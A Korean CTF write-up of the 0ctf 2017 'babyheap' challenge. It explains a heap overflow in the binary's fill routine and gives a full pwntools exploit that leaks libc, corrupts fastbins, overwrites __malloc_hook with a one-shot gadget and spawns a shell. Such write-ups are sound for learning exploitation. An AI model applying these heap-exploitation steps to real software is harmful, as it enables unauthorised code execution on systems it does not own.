CTF

0ctf 2017 babyheap

Anatis 2021. 3. 1. 18:17

이번 문제는 바이너리를 분석해보면 힙을 할당, 해제, 데이터 쓰기, 출력이 있다.

데이터 쓰기 부분에서 힙의 사이즈에 상관없이 입력한 사이즈 만큼 데이터를 입력받을 수 있기 때문에 여기서 힙 오버플로우가 발생한다.

 

힙을 할당하는 부분에서 malloc이 아닌 calloc을 사용하기 때문에 UAF로 인한 leak이 불가능 하고, FULL RELRO이기 때문에 got overwrite는 불가능하다. 이때 사용할 수 있는 __malloc_hook 공간이 있다. 이 공간에 oneshot 가젯으로 조작하여 셸을 획득할 수 있다. 

 

exploit

from pwn import *

# context.terminal = ['tmux', 'splitw', '-h']
p = process('./0ctfbabyheap')
elf = ELF('./0ctfbabyheap')
# gdb.attach(p)

def Alloc(size):
    print p.sendlineafter('Command:', '1')
    print p.sendlineafter('Size:', str(size))

def Fill(idx, size, data):
    print p.sendlineafter('Command:', '2')
    print p.sendlineafter('Index:', str(idx))
    print p.sendlineafter('Size:', str(size))
    print p.sendlineafter('Content:', str(data))

def Free(idx):
    print p.sendlineafter('Command:', '3')
    print p.sendlineafter('Index:', str(idx))

def Dump(idx):
    print p.sendlineafter('Command:', '4')
    print p.sendlineafter('Index:', str(idx))

Alloc(0x10) # 0
Alloc(0x10) # 1
Alloc(0x10) # 2
Alloc(0x10) # 3
Alloc(0x80) # 4

Free(2)
Free(1)

payload = p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
Fill(0, len(payload), payload)

payload = p64(0)*3
payload += p64(0x21)
Fill(3, len(payload), payload)

Alloc(0x10)
Alloc(0x10)

payload = p64(0)*3
payload += p64(0x91)
Fill(3, len(payload), payload)

Alloc(0x80) # 4

Free(4)
Dump(2)

print p.recvuntil(': \n')
leak = u64(p.recv(6).ljust(8, '\x00'))
libc_base = leak - 0x3c4b78     # main_arena offset 0x3c4b78
malloc_hook = libc_base + 0x3c4b10
oneshot = libc_base + 0x4527a

log.info('leak = ' + hex(leak))
log.info('libc base = ' + hex(libc_base))
log.info('malloc hook = ' + hex(malloc_hook))
log.info('oneshot = ' + hex(oneshot))

Alloc(0x60) 

Free(4)

payload = p64(malloc_hook - 0x23)
Fill(2, len(payload), payload)

Alloc(0x60) # 5
Alloc(0x60) # 6

payload = '\x00'*3
payload += p64(0)*2
payload += p64(oneshot)
Fill(6, len(payload), payload)

Alloc(0x20)

p.interactive()